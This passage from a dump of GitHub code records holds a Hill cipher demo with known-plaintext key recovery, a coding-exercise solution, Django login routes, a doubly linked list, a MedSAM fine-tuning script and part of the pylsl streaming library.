key = dot_product(numpy.transpose(cstar),modMatInv(numpy.transpose(pstar),len(gamma))) # applico la formula\n print(\"!!FOUND THE KEY!!\")\n return key\n except:\n shiftLeft(pairs) # Provo a vedere che chiave riesco a ottenere shiftando a sinistra il vettore delle coppie, aggiornando quindi P* e C*\n k = k + 1\n return None\n\ndef key2str(key):\n k2s = []\n for row in key:\n k2srow = ''\n for val in row:\n k2srow = k2srow + str(val) + ' '\n k2s.append(k2srow)\n return str(k2s).replace(\",\",\"\\r\\n\").replace(\"[\",\"\\r\\n\").replace(\"]\",\"\")\n\n\n##################################################################################################################\n\nmainKey = [ [1,2,3]\n ,[3,1,1]\n ,[1,2,4] ]\n\n\n# Il programma riceve come input da riga di comando il nome del file da cui leggere il testo da cifrare\n\n\nf = open(sys.argv[1])\ntxt = \"\"\nfor line in f.readlines():\n txt += line\ntxt = clean(txt)\n\n# E' possibile definire chiavi differenti ridefinendo \"mainKey\"\nkey = mainKey\n\n# Dimostrazione del funzionamento del cifrario di Hill\nciphertext = encrypt(txt,key)\nprint(\"Input text: \"+txt)\nprint(\"Ciphertext: \"+ciphertext)\ndecrypted = decrypt(ciphertext,key)\nprint(\"Decrypted: \"+decrypt(ciphertext,key))\n\n\n# Avendo a disposizione coppie di plaintext - ciphertext proviamo a ricavare la chiave che abbiamo utilizzato a partire dai appena calcolati\n\nprint(\"*********** ATTACKING HILL CIPHER ***********\")\nguessed_key = find_key(txt,ciphertext,len(key))\nif guessed_key is not None:\n print(\"Decryption of ciphertext using the guessed key:\" + key2str(guessed_key))\n print(decrypt(ciphertext,guessed_key))\n\n","repo_name":"FrancescoTerrosi/DSP","sub_path":"set-1/es3-2/Hill.py","file_name":"Hill.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1560862331","text":"import sys\n\ninput = sys.stdin.readline\n\nT = int(input())\n\nfor t in range(1,T+1):\n n = int(input())\n price = list(map(int,input().split()))\n\n price.reverse()\n\n max_p = -1\n money = 0\n for p in price:\n if p > max_p:\n max_p = p\n else:\n money += max_p - p\n print('#' + str(t), money)","repo_name":"TRASALBY/Problem-Solving","sub_path":"SW Expert Academy/1859_백만장자 프로젝트.py","file_name":"1859_백만장자 프로젝트.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9958848644","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = 'login'\n\nurlpatterns = [\n url(r'^auth/register', views.register, name='register'),\n url(r'^auth/login$', views.enter, name='enter'),\n url(r'^auth/logout$', views.logout, name='logout'),\n]","repo_name":"Konstantin1996/Django","sub_path":"project_blog/Scripts/blog/login/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18813674979","text":"class Node:\n def __init__(self,data):\n self.data = data\n self.next = None\n self.prev = None\n\nclass DoubleLinkList:\n def __init__(self):\n self.start = None\n # self.end = None\n \n \n\n def insert_at_last(self,data):\n if self.start == None:\n new_node = Node(data)\n self.start = new_node\n else:\n new_node = Node(data)\n temp = self.start\n while temp.next != None:\n temp = temp.next\n temp.next = new_node\n new_node.prev = temp\n\n \n def reverse(self):\n curr = self.start\n back = None\n while curr != None :\n forword = curr.next\n curr.next = back\n curr.prev = forword\n back = curr\n curr = forword\n self.start = back\n\n def view_list(self):\n if self.start == None:\n print(\"Link list is empty.\")\n return\n else:\n temp = self.start\n while temp != None:\n print(temp.data,end=\" \")\n temp = temp.next\n print()\n\nif __name__ == '__main__':\n DL = DoubleLinkList()\n DL.insert_at_last(10)\n DL.insert_at_last(20)\n DL.insert_at_last(30)\n DL.insert_at_last(40)\n DL.reverse()\n \n DL.view_list()","repo_name":"Saurabh1Barasiya/100_days_of_code","sub_path":"DSA/LinkList/reverse_double_linklist.py","file_name":"reverse_double_linklist.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41180785569","text":"# %% set up environment\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\njoin = os.path.join\nfrom tqdm import tqdm\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport monai\nfrom segment_anything import sam_model_registry\nfrom segment_anything.utils.transforms import ResizeLongestSide\nimport argparse\n# set seeds\ntorch.manual_seed(2023)\nnp.random.seed(2023)\n\n\n#%% create a dataset class to load npz data and return back image embeddings and ground truth\nclass NpyDataset(Dataset): \n def __init__(self, data_root):\n self.data_root = data_root\n self.gt_path = join(data_root, 'npy_gts')\n self.embed_path = join(data_root, 'npy_embs')\n self.npy_files = sorted(os.listdir(self.gt_path))\n \n def __len__(self):\n return len(self.npy_files)\n\n def __getitem__(self, index):\n gt2D = np.load(join(self.gt_path, self.npy_files[index]))\n img_embed = np.load(join(self.embed_path, self.npy_files[index]))\n y_indices, x_indices = np.where(gt2D > 0)\n x_min, x_max = np.min(x_indices), np.max(x_indices)\n y_min, y_max = np.min(y_indices), np.max(y_indices)\n # add perturbation to bounding box coordinates\n H, W = gt2D.shape\n x_min = max(0, x_min - np.random.randint(0, 20))\n x_max = min(W, x_max + np.random.randint(0, 20))\n y_min = max(0, y_min - np.random.randint(0, 20))\n y_max = min(H, y_max + np.random.randint(0, 20))\n bboxes = np.array([x_min, y_min, x_max, y_max])\n # convert img embedding, mask, bounding box to torch tensor\n return torch.tensor(img_embed).float(), torch.tensor(gt2D[None, :,:]).long(), torch.tensor(bboxes).float()\n\n# %% set up parser\nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--tr_npy_path', type=str, default='data/Tr_npy', help='path to training npy files; two subfolders: npy_gts and npy_embs')\nparser.add_argument('--task_name', type=str, default='SAM-ViT-B')\nparser.add_argument('--model_type', type=str, default='vit_b')\nparser.add_argument('--checkpoint', type=str, default='work_dir/SAM/sam_vit_b_01ec64.pth')\nparser.add_argument('--device', type=str, default='cuda:0')\nparser.add_argument('--work_dir', type=str, default='./work_dir')\n# train\nparser.add_argument('--num_epochs', type=int, default=1000)\nparser.add_argument('--batch_size', type=int, default=8)\nparser.add_argument('--lr', type=float, default=1e-5)\nparser.add_argument('--weight_decay', type=float, default=0)\nargs = parser.parse_args()\n\n\n# %% set up model for fine-tuning \ndevice = args.device\nmodel_save_path = join(args.work_dir, args.task_name)\nos.makedirs(model_save_path, exist_ok=True)\nsam_model = sam_model_registry[args.model_type](checkpoint=args.checkpoint).to(device)\nsam_model.train()\n\n# Set up the optimizer, hyperparameter tuning will improve performance here\noptimizer = torch.optim.Adam(sam_model.mask_decoder.parameters(), lr=args.lr, weight_decay=args.weight_decay)\nseg_loss = monai.losses.DiceCELoss(sigmoid=True, squared_pred=True, reduction='mean')\n# regress loss for IoU/DSC prediction; (ignored for simplicity but will definitely included in the near future)\n# regress_loss = torch.nn.MSELoss(reduction='mean')\n#%% train\nnum_epochs = args.num_epochs\nlosses = []\nbest_loss = 1e10\ntrain_dataset = NpyDataset(args.tr_npy_path)\ntrain_dataloader = DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True)\nfor epoch in range(num_epochs):\n epoch_loss = 0\n # Just train on the first 20 examples\n for step, (image_embedding, gt2D, boxes) in enumerate(tqdm(train_dataloader)):\n # do not compute gradients for image encoder and prompt encoder\n with torch.no_grad():\n # convert box to 1024x1024 grid\n box_np = boxes.numpy()\n sam_trans = ResizeLongestSide(sam_model.image_encoder.img_size)\n box = sam_trans.apply_boxes(box_np, (gt2D.shape[-2], gt2D.shape[-1]))\n box_torch = torch.as_tensor(box, dtype=torch.float, device=device)\n if len(box_torch.shape) == 2:\n box_torch = box_torch[:, None, :] # (B, 1, 4)\n \n sparse_embeddings, dense_embeddings = sam_model.prompt_encoder(\n points=None,\n boxes=box_torch,\n masks=None,\n )\n low_res_masks, iou_predictions = sam_model.mask_decoder(\n image_embeddings=image_embedding.to(device), # (B, 256, 64, 64)\n image_pe=sam_model.prompt_encoder.get_dense_pe(), # (1, 256, 64, 64)\n sparse_prompt_embeddings=sparse_embeddings, # (B, 2, 256)\n dense_prompt_embeddings=dense_embeddings, # (B, 256, 64, 64)\n multimask_output=False,\n )\n\n loss = seg_loss(low_res_masks, gt2D.to(device))\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n epoch_loss += loss.item()\n epoch_loss /= step\n losses.append(epoch_loss)\n print(f'EPOCH: {epoch}, Loss: {epoch_loss}')\n # save the model checkpoint\n torch.save(sam_model.state_dict(), join(model_save_path, 'sam_model_latest.pth'))\n # save the best model\n if epoch_loss < best_loss:\n best_loss = epoch_loss\n torch.save(sam_model.state_dict(), join(model_save_path, 'sam_model_best.pth'))\n\n # %% plot loss\n plt.plot(losses)\n plt.title('Dice + Cross Entropy Loss')\n plt.xlabel('Epoch')\n plt.ylabel('Loss')\n # plt.show() # comment this line if you are running on a server\n plt.savefig(join(model_save_path, 'train_loss.png'))\n plt.close()\n\n","repo_name":"Minjaeun/MedSAM","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10052347667","text":"\"\"\"Python API for the lab streaming layer.\n\nThe lab streaming layer provides a set of functions to make instrument data\naccessible in real time within a lab network. From there, streams can be\npicked up by recording programs, viewing programs or custom experiment\napplications that access data streams in real time.\n\nThe API covers two areas:\n- The \"push API\" allows to create stream outlets and to push data (regular\n or irregular measurement time series, event data, coded audio/video frames,\n etc.) into them.\n- The \"pull API\" allows to create stream inlets and read time-synched\n experiment data from them (for recording, viewing or experiment control).\n\npylsl has been tested with Python 2.7 and 3.4.\n\n\"\"\"\n\nimport os\nimport platform\nimport struct\nfrom ctypes import CDLL, util, byref, c_char_p, c_void_p, c_double, c_int, \\\n c_long, c_float, c_short, c_byte, c_longlong, cast, POINTER\n\n__all__ = ['IRREGULAR_RATE', 'DEDUCED_TIMESTAMP', 'FOREVER', 'cf_float32',\n 'cf_double64', 'cf_string', 'cf_int32', 'cf_int16', 'cf_int8',\n 'cf_int64', 'cf_undefined', 'protocol_version', 'library_version',\n 'local_clock', 'StreamInfo', 'StreamOutlet', 'resolve_streams',\n 'resolve_byprop', 'resolve_bypred', 'StreamInlet', 'XMLElement',\n 'ContinuousResolver', 'TimeoutError', 'LostError',\n 'InvalidArgumentError', 'InternalError', 'stream_info',\n 'stream_outlet', 'stream_inlet', 'xml_element', 'timeout_error',\n 'lost_error', 'vectorf', 'vectord', 'vectorl', 'vectori',\n 'vectors', 'vectorc', 'vectorstr', 'resolve_stream']\n\n# =================\n# === Constants ===\n# =================\n\n# Constant to indicate that a stream has variable sampling rate.\nIRREGULAR_RATE = 0.0\n\n# Constant to indicate that a sample has the next successive time stamp\n# according to the stream's defined sampling rate. Optional optimization to\n# transmit less data per sample.\nDEDUCED_TIMESTAMP = -1.0\n\n# A very large time value (ca. 1 year); can be used in timeouts.\nFOREVER = 32000000.0\n\n# Value formats supported by LSL. LSL data streams are sequences of samples,\n# each of which is a same-size vector of values with one of the below types.\n\n# For up to 24-bit precision measurements in the appropriate physical unit (\n# e.g., microvolts). Integers from -16777216 to 16777216 are represented\n# accurately.\ncf_float32 = 1\n# For universal numeric data as long as permitted by network and disk budget.\n# The largest representable integer is 53-bit.\ncf_double64 = 2\n# For variable-length ASCII strings or data blobs, such as video frames,\n# complex event descriptions, etc.\ncf_string = 3\n# For high-rate digitized formats that require 32-bit precision. Depends\n# critically on meta-data to represent meaningful units. Useful for\n# application event codes or other coded data.\ncf_int32 = 4\n# For very high bandwidth signals or CD quality audio (for professional audio\n# float is recommended).\ncf_int16 = 5\n# For binary signals or other coded data.\ncf_int8 = 6\n# For now only for future compatibility. Support for this type is not\n# available on all languages and platforms.\ncf_int64 = 7\n# Can not be transmitted.\ncf_undefined = 0\n\n# Post processing flags\nproc_none = 0\nproc_clocksync = 1\nproc_dejitter = 2\nproc_monotonize = 4\nproc_threadsafe = 8\nproc_ALL = proc_none | proc_clocksync | proc_dejitter | proc_monotonize | proc_threadsafe\n\n\n# ==========================================================\n# === Free Functions provided by the lab streaming layer ===\n# ==========================================================\n\ndef protocol_version():\n \"\"\"Protocol version.\n\n The major version is protocol_version() / 100;\n The minor version is protocol_version() % 100;\n\n Clients with different minor versions are protocol-compatible with each \n other while clients with different major versions will refuse to work \n together.\n\n \"\"\"\n return lib.lsl_protocol_version()\n\n\ndef library_version():\n \"\"\"Version of the underlying liblsl library.\n\n The major version is library_version() / 100;\n The minor version is library_version() % 100;\n\n \"\"\"\n return lib.lsl_library_version()\n\n \ndef local_clock():\n \"\"\"Obtain a local system time stamp in seconds.\n\n The resolution is better than a milisecond. This reading can be used to \n assign time stamps to samples as they are being acquired.\n\n If the \"age\" of a sample is known at a particular time (e.g., from USB \n transmission delays), it can be used as an offset to lsl_local_clock() to \n obtain a better estimate of when a sample was actually captured. See \n StreamOutlet.push_sample() for a use case.\n\n \"\"\"\n return lib.lsl_local_clock()\n\n \n# ==========================\n# === Stream Declaration ===\n# ==========================\n \nclass StreamInfo:\n \"\"\"The StreamInfo object stores the declaration of a data stream.\n\n Represents the following information:\n a) stream data format (#channels, channel format)\n b) core information (stream name, content type, sampling rate)\n c) optional meta-data about the stream content (channel labels, \n measurement units, etc.)\n\n Whenever a program wants to provide a new stream on the lab network it will \n typically first create a StreamInfo to describe its properties and then \n construct a StreamOutlet with it to create the stream on the network. \n Recipients who discover the outlet can query the StreamInfo; it is also \n written to disk when recording the stream (playing a similar role as a file \n header).\n\n \"\"\"\n\n def __init__(self, name='untitled', type='', channel_count=1,\n nominal_srate=IRREGULAR_RATE, channel_format=cf_float32,\n source_id='', handle=None):\n \"\"\"Construct a new StreamInfo object.\n\n Core stream information is specified here. Any remaining meta-data can \n be added later.\n \n Keyword arguments:\n name -- Name of the stream. Describes the device (or product series) \n that this stream makes available (for use by programs, \n experimenters or data analysts). Cannot be empty.\n type -- Content type of the stream. By convention LSL uses the content \n types defined in the XDF file format specification where \n applicable (https://github.com/sccn/xdf). The content type is the \n preferred way to find streams (as opposed to searching by name).\n channel_count -- Number of channels per sample. This stays constant for \n the lifetime of the stream. (default 1)\n nominal_srate -- The sampling rate (in Hz) as advertised by the data \n source, regular (otherwise set to IRREGULAR_RATE).\n (default IRREGULAR_RATE)\n channel_format -- Format/type of each channel. If your channels have \n different formats, consider supplying multiple \n streams or use the largest type that can hold \n them all (such as cf_double64). It is also allowed \n to pass this as a string, without the cf_ prefix,\n e.g., 'float32' (default cf_float32)\n source_id -- Unique identifier of the device or source of the data, if \n available (such as the serial number). This is critical \n for system robustness since it allows recipients to \n recover from failure even after the serving app, device or \n computer crashes (just by finding a stream with the same \n source id on the network again). Therefore, it is highly \n recommended to always try to provide whatever information \n can uniquely identify the data source itself.\n (default '')\n\n \"\"\"\n if handle is not None:\n self.obj = c_void_p(handle)\n else:\n if isinstance(channel_format, str):\n channel_format = string2fmt[channel_format]\n self.obj = lib.lsl_create_streaminfo(c_char_p(str.encode(name)),\n c_char_p(str.encode(type)),\n channel_count,\n c_double(nominal_srate),\n channel_format,\n c_char_p(str.encode(source_id)))\n self.obj = c_void_p(self.obj)\n if not self.obj:\n raise RuntimeError(\"could not create stream description \"\n \"object.\")\n \n def __del__(self):\n \"\"\" Destroy a previously created StreamInfo object. \"\"\"\n # noinspection PyBroadException\n try:\n lib.lsl_destroy_streaminfo(self.obj)\n except:\n pass\n\n # === Core Information (assigned at construction) ===\n \n def name(self):\n \"\"\"Name of the stream.\n\n This is a human-readable name. For streams offered by device modules, \n it refers to the type of device or product series that is generating \n the data of the stream. If the source is an application, the name may \n be a more generic or specific identifier. Multiple streams with the \n same name can coexist, though potentially at the cost of ambiguity (for \n the recording app or experimenter).\n\n \"\"\"\n return lib.lsl_get_name(self.obj).decode('utf-8')\n\n def type(self):\n \"\"\"Content type of the stream.\n\n The content type is a short string such as \"EEG\", \"Gaze\" which \n describes the content carried by the channel (if known). If a stream \n contains mixed content this value need not be assigned but may instead \n be stored in the description of channel types. To be useful to \n applications and automated processing systems using the recommended \n content types is preferred.\n\n \"\"\"\n return lib.lsl_get_type(self.obj).decode('utf-8')\n \n def channel_count(self):\n \"\"\"Number of channels of the stream.\n\n A stream has at least one channel; the channel count stays constant for\n all samples.\n\n \"\"\"\n return lib.lsl_get_channel_count(self.obj)\n \n def nominal_srate(self):\n \"\"\"Sampling rate of the stream, according to the source (in Hz).\n\n If a stream is irregularly sampled, this should be set to\n IRREGULAR_RATE.\n\n Note that no data will be lost even if this sampling rate is incorrect \n or if a device has temporary hiccups, since all samples will be \n transmitted anyway (except for those dropped by the device itself). \n However, when the recording is imported into an application, a good \n data importer may correct such errors more accurately if the advertised \n sampling rate was close to the specs of the device.\n\n \"\"\"\n return lib.lsl_get_nominal_srate(self.obj)\n\n def channel_format(self):\n \"\"\"Channel format of the stream.\n\n All channels in a stream have the same format. However, a device might \n offer multiple time-synched streams each with its own format.\n\n \"\"\"\n return lib.lsl_get_channel_format(self.obj)\n\n def source_id(self):\n \"\"\"Unique identifier of the stream's source, if available.\n\n The unique source (or device) identifier is an optional piece of \n information that, if available, allows that endpoints (such as the \n recording program) can re-acquire a stream automatically once it is \n back online.\n\n \"\"\"\n return lib.lsl_get_source_id(self.obj).decode('utf-8')\n \n # === Hosting Information (assigned when bound to an outlet/inlet) ===\n \n def version(self):\n \"\"\"Protocol version used to deliver the stream.\"\"\"\n return lib.lsl_get_version(self.obj)\n \n def created_at(self):\n \"\"\"Creation time stamp of the stream.\n\n This is the time stamp when the stream was first created\n (as determined via local_clock() on the providing machine).\n\n \"\"\"\n return lib.lsl_get_created_at(self.obj)\n \n def uid(self):\n \"\"\"Unique ID of the stream outlet instance (once assigned).\n\n This is a unique identifier of the stream outlet, and is guaranteed to \n be different across multiple instantiations of the same outlet (e.g., \n after a re-start).\n\n \"\"\"\n return lib.lsl_get_uid(self.obj).decode('utf-8')\n\n def session_id(self):\n \"\"\"Session ID for the given stream.\n\n The session id is an optional human-assigned identifier of the \n recording session. While it is rarely used, it can be used to prevent \n concurrent recording activitites on the same sub-network (e.g., in \n multiple experiment areas) from seeing each other's streams \n (can be assigned in a configuration file read by liblsl, see also \n Network Connectivity in the LSL wiki).\n\n \"\"\"\n return lib.lsl_get_session_id(self.obj).decode('utf-8')\n \n def hostname(self):\n \"\"\"Hostname of the providing machine.\"\"\"\n return lib.lsl_get_hostname(self.obj).decode('utf-8')\n \n # === Data Description (can be modified) ===\n \n def desc(self):\n \"\"\"Extended description of the stream.\n\n It is highly recommended that at least the channel labels are described \n here. See code examples on the LSL wiki. Other information, such \n as amplifier settings, measurement units if deviating from defaults, \n setup information, subject information, etc., can be specified here, as \n well. Meta-data recommendations follow the XDF file format project\n (github.com/sccn/xdf/wiki/Meta-Data or web search for: XDF meta-data).\n \n Important: if you use a stream content type for which meta-data \n recommendations exist, please try to lay out your meta-data in \n agreement with these recommendations for compatibility with other \n applications.\n\n \"\"\"\n return XMLElement(lib.lsl_get_desc(self.obj))\n \n def as_xml(self):\n \"\"\"Retrieve the entire stream_info in XML format.\n\n This yields an XML document (in string form) whose top-level element is \n . The description element contains one element for each\n field of the stream_info class, including:\n a) the core elements , , , , \n , \n b) the misc elements , , , , \n , , , , \n , \n c) the extended description element with user-defined \n sub-elements.\n\n \"\"\"\n return lib.lsl_get_xml(self.obj).decode('utf-8')\n \n\n# ===================== \n# === Stream Outlet ===\n# =====================\n \nclass StreamOutlet:\n \"\"\"A stream outlet.\n\n Outlets are used to make streaming data (and the meta-data) available on \n the lab network.\n\n \"\"\" \n \n def __init__(self, info, chunk_size=0, max_buffered=360):\n \"\"\"Establish a new stream outlet. This makes the stream discoverable.\n \n Keyword arguments:\n description -- The StreamInfo object to describe this stream. Stays\n constant over the lifetime of the outlet.\n chunk_size --- Optionally the desired chunk granularity (in samples) \n for transmission. If unspecified, each push operation \n yields one chunk. Inlets can override this setting.\n (default 0)\n max_buffered -- Optionally the maximum amount of data to buffer (in \n seconds if there is a nominal sampling rate, otherwise \n x100 in samples). The default is 6 minutes of data. \n Note that, for high-bandwidth data, you will want to \n use a lower value here to avoid running out of RAM.\n (default 360)\n\n \"\"\"\n self.obj = lib.lsl_create_outlet(info.obj, chunk_size, max_buffered)\n self.obj = c_void_p(self.obj)\n if not self.obj:\n raise RuntimeError(\"could not create stream outlet.\")\n self.channel_format = info.channel_format()\n self.channel_count = info.channel_count()\n self.do_push_sample = fmt2push_sample[self.channel_format]\n self.do_push_chunk = fmt2push_chunk[self.channel_format]\n self.value_type = fmt2type[self.channel_format]\n self.sample_type = self.value_type*self.channel_count\n \n def __del__(self):\n \"\"\"Destroy an outlet.\n\n The outlet will no longer be discoverable after destruction and all \n connected inlets will stop delivering data.\n\n \"\"\"\n # noinspection PyBroadException\n try:\n lib.lsl_destroy_outlet(self.obj)\n except:\n pass\n \n def push_sample(self, x, timestamp=0.0, pushthrough=True):\n \"\"\"Push a sample into the outlet.\n\n Each entry in the list corresponds to one channel.\n\n Keyword arguments:\n x -- A list of values to push (one per channel).\n timestamp -- Optionally the capture time of the sample, in agreement \n with local_clock(); if omitted, the current \n time is used. (default 0.0)\n pushthrough -- Whether to push the sample through to the receivers \n instead of buffering it with subsequent samples. \n Note that the chunk_size, if specified at outlet \n construction, takes precedence over the pushthrough flag.\n (default True)\n\n \"\"\"\n if len(x) == self.channel_count:\n if self.channel_format == cf_string:\n x = [v.encode('utf-8') for v in x]\n handle_error(self.do_push_sample(self.obj, self.sample_type(*x),\n c_double(timestamp),\n c_int(pushthrough)))\n else:\n raise ValueError(\"length of the data must correspond to the \"\n \"stream's channel count.\")\n\n def push_chunk(self, x, timestamp=0.0, pushthrough=True):\n \"\"\"Push a list of samples into the outlet.\n\n samples -- A list of samples, either as a list of lists or a list of \n multiplexed values.\n timestamp -- Optionally the capture time of the most recent sample, in \n agreement with local_clock(); if omitted, the current \n time is used. The time stamps of other samples are \n automatically derived according to the sampling rate of \n the stream. (default 0.0)\n pushthrough Whether to push the chunk through to the receivers instead \n of buffering it with subsequent samples. Note that the \n chunk_size, if specified at outlet construction, takes \n precedence over the pushthrough flag. (default True)\n\n \"\"\"\n try:\n n_values = self.channel_count * len(x)\n data_buff = (self.value_type * n_values).from_buffer(x)\n handle_error(self.do_push_chunk(self.obj, data_buff,\n c_long(n_values),\n c_double(timestamp),\n c_int(pushthrough)))\n except TypeError:\n if len(x):\n if type(x[0]) is list:\n x = [v for sample in x for v in sample]\n if self.channel_format == cf_string:\n x = [v.encode('utf-8') for v in x]\n if len(x) % self.channel_count == 0:\n constructor = self.value_type*len(x)\n # noinspection PyCallingNonCallable\n handle_error(self.do_push_chunk(self.obj, constructor(*x),\n c_long(len(x)),\n c_double(timestamp),\n c_int(pushthrough)))\n else:\n raise ValueError(\"each sample must have the same number of \"\n \"channels.\")\n \n def have_consumers(self):\n \"\"\"Check whether consumers are currently registered.\n\n While it does not hurt, there is technically no reason to push samples \n if there is no consumer.\n\n \"\"\"\n return bool(lib.lsl_have_consumers(self.obj))\n \n def wait_for_consumers(self, timeout):\n \"\"\"Wait until some consumer shows up (without wasting resources).\n\n Returns True if the wait was successful, False if the timeout expired.\n\n \"\"\"\n return bool(lib.lsl_wait_for_consumers(self.obj, c_double(timeout)))\n\n \n# =========================\n# === Resolve Functions ===\n# =========================\n\ndef resolve_streams(wait_time=1.0):\n \"\"\"Resolve all streams on the network.\n\n This function returns all currently available streams from any outlet on \n the network. The network is usually the subnet specified at the local \n router, but may also include a group of machines visible to each other via \n multicast packets (given that the network supports it), or list of \n hostnames. These details may optionally be customized by the experimenter \n in a configuration file (see Network Connectivity in the LSL wiki). \n \n Keyword arguments:\n wait_time -- The waiting time for the operation, in seconds, to search for \n streams. Warning: If this is too short (<0.5s) only a subset \n (or none) of the outlets that are present on the network may \n be returned. (default 1.0)\n \n Returns a list of StreamInfo objects (with empty desc field), any of which \n can subsequently be used to open an inlet. The full description can be\n retrieved from the inlet.\n\n \"\"\"\n # noinspection PyCallingNonCallable\n buffer = (c_void_p*1024)()\n num_found = lib.lsl_resolve_all(byref(buffer), 1024, c_double(wait_time))\n return [StreamInfo(handle=buffer[k]) for k in range(num_found)]\n\n\ndef resolve_byprop(prop, value, minimum=1, timeout=FOREVER):\n \"\"\"Resolve all streams with a specific value for a given property.\n\n If the goal is to resolve a specific stream, this method is preferred over \n resolving all streams and then selecting the desired one.\n \n Keyword arguments:\n prop -- The StreamInfo property that should have a specific value (e.g., \n \"name\", \"type\", \"source_id\", or \"desc/manufaturer\").\n value -- The string value that the property should have (e.g., \"EEG\" as \n the type property).\n minimum -- Return at least this many streams. (default 1)\n timeout -- Optionally a timeout of the operation, in seconds. If the \n timeout expires, less than the desired number of streams \n (possibly none) will be returned. (default FOREVER)\n \n Returns a list of matching StreamInfo objects (with empty desc field), any \n of which can subsequently be used to open an inlet.\n \n Example: results = resolve_Stream_byprop(\"type\",\"EEG\")\n\n \"\"\"\n # noinspection PyCallingNonCallable\n buffer = (c_void_p*1024)()\n num_found = lib.lsl_resolve_byprop(byref(buffer), 1024,\n c_char_p(str.encode(prop)),\n c_char_p(str.encode(value)),\n minimum,\n c_double(timeout))\n return [StreamInfo(handle=buffer[k]) for k in range(num_found)]\n\n\ndef resolve_bypred(predicate, minimum=1, timeout=FOREVER):\n \"\"\"Resolve all streams that match a given predicate.\n\n Advanced query that allows to impose more conditions on the retrieved \n streams; the given string is an XPath 1.0 predicate for the \n node (omitting the surrounding []'s), see also\n http://en.wikipedia.org/w/index.php?title=XPath_1.0&oldid=474981951.\n \n Keyword arguments:\n predicate -- The predicate string, e.g. \"name='BioSemi'\" or \n \"type='EEG' and starts-with(name,'BioSemi') and \n count(description/desc/channels/channel)=32\"\n minimum -- Return at least this many streams. (default 1)\n timeout -- Optionally a timeout of the operation, in seconds. If the \n timeout expires, less than the desired number of streams \n (possibly none) will be returned. (default FOREVER)\n \n Returns a list of matching StreamInfo objects (with empty desc field), any \n of which can subsequently be used to open an inlet.\n\n \"\"\"\n # noinspection PyCallingNonCallable\n buffer = (c_void_p*1024)()\n num_found = lib.lsl_resolve_bypred(byref(buffer), 1024,\n c_char_p(str.encode(predicate)),\n minimum,\n c_double(timeout))\n return [StreamInfo(handle=buffer[k]) for k in range(num_found)]\n\n\n# ====================\n# === Memory functions\n# ====================\ndef free_char_p_array_memory(char_p_array,num_elements):\n pointers = cast(char_p_array, POINTER(c_void_p))\n for p in range(num_elements):\n if pointers[p] is not None: # only free initialized pointers\n lib.lsl_destroy_string(pointers[p])\n\n# ====================\n# === Stream Inlet ===\n# ====================\n \nclass StreamInlet:\n \"\"\"A stream inlet.\n\n Inlets are used to receive streaming data (and meta-data) from the lab \n network.\n\n \"\"\"\n \n def __init__(self, info, max_buflen=360, max_chunklen=0, recover=True, processing_flags=0):\n \"\"\"Construct a new stream inlet from a resolved stream description.\n \n Keyword arguments:\n description -- A resolved stream description object (as coming from one\n of the resolver functions). Note: the stream_inlet may also be\n constructed with a fully-specified stream_info, if the desired \n channel format and count is already known up-front, but this is \n strongly discouraged and should only ever be done if there is \n no time to resolve the stream up-front (e.g., due to \n limitations in the client program).\n max_buflen -- Optionally the maximum amount of data to buffer (in \n seconds if there is a nominal sampling rate, otherwise \n x100 in samples). Recording applications want to use a \n fairly large buffer size here, while real-time \n applications would only buffer as much as they need to \n perform their next calculation. (default 360)\n max_chunklen -- Optionally the maximum size, in samples, at which \n chunks are transmitted (the default corresponds to the \n chunk sizes used by the sender). Recording programs \n can use a generous size here (leaving it to the network \n how to pack things), while real-time applications may \n want a finer (perhaps 1-sample) granularity. If left \n unspecified (=0), the sender determines the chunk \n granularity. (default 0)\n recover -- Try to silently recover lost streams that are recoverable \n (=those that that have a source_id set). In all other cases \n (recover is False or the stream is not recoverable) \n functions may throw a lost_error if the stream's source is \n lost (e.g., due to an app or computer crash). (default True)\n\n \"\"\"\n if type(info) is list:\n raise TypeError(\"description needs to be of type StreamInfo, \"\n \"got a list.\")\n self.obj = lib.lsl_create_inlet(info.obj, max_buflen, max_chunklen,\n recover)\n self.obj = c_void_p(self.obj)\n if not self.obj: \n raise RuntimeError(\"could not create stream inlet.\")\n if processing_flags > 0:\n handle_error(lib.lsl_set_postprocessing(self.obj, processing_flags))\n self.channel_format = info.channel_format()\n self.channel_count = info.channel_count()\n self.do_pull_sample = fmt2pull_sample[self.channel_format]\n self.do_pull_chunk = fmt2pull_chunk[self.channel_format]\n self.value_type = fmt2type[self.channel_format]\n self.sample_type = self.value_type*self.channel_count\n self.sample = self.sample_type()\n self.buffers = {}\n\n def __del__(self):\n \"\"\"Destructor. The inlet will automatically disconnect if destroyed.\"\"\"\n # noinspection PyBroadException\n try:\n lib.lsl_destroy_inlet(self.obj)\n except:\n pass\n \n def info(self, timeout=FOREVER):\n \"\"\"Retrieve the complete information of the given stream.\n\n This includes the extended description. Can be invoked at any time of\n the stream's lifetime.\n \n Keyword arguments:\n timeout -- Timeout of the operation. (default FOREVER)\n \n Throws a TimeoutError (if the timeout expires), or LostError (if the \n stream source has been lost).\n\n \"\"\"\n errcode = c_int()\n result = lib.lsl_get_fullinfo(self.obj, c_double(timeout),\n byref(errcode))\n handle_error(errcode)\n return StreamInfo(handle=result)\n\n def open_stream(self, timeout=FOREVER):\n \"\"\"Subscribe to the data stream.\n\n All samples pushed in at the other end from this moment onwards will be \n queued and eventually be delivered in response to pull_sample() or \n pull_chunk() calls. Pulling a sample without some preceding open_stream \n is permitted (the stream will then be opened implicitly).\n \n Keyword arguments:\n timeout -- Optional 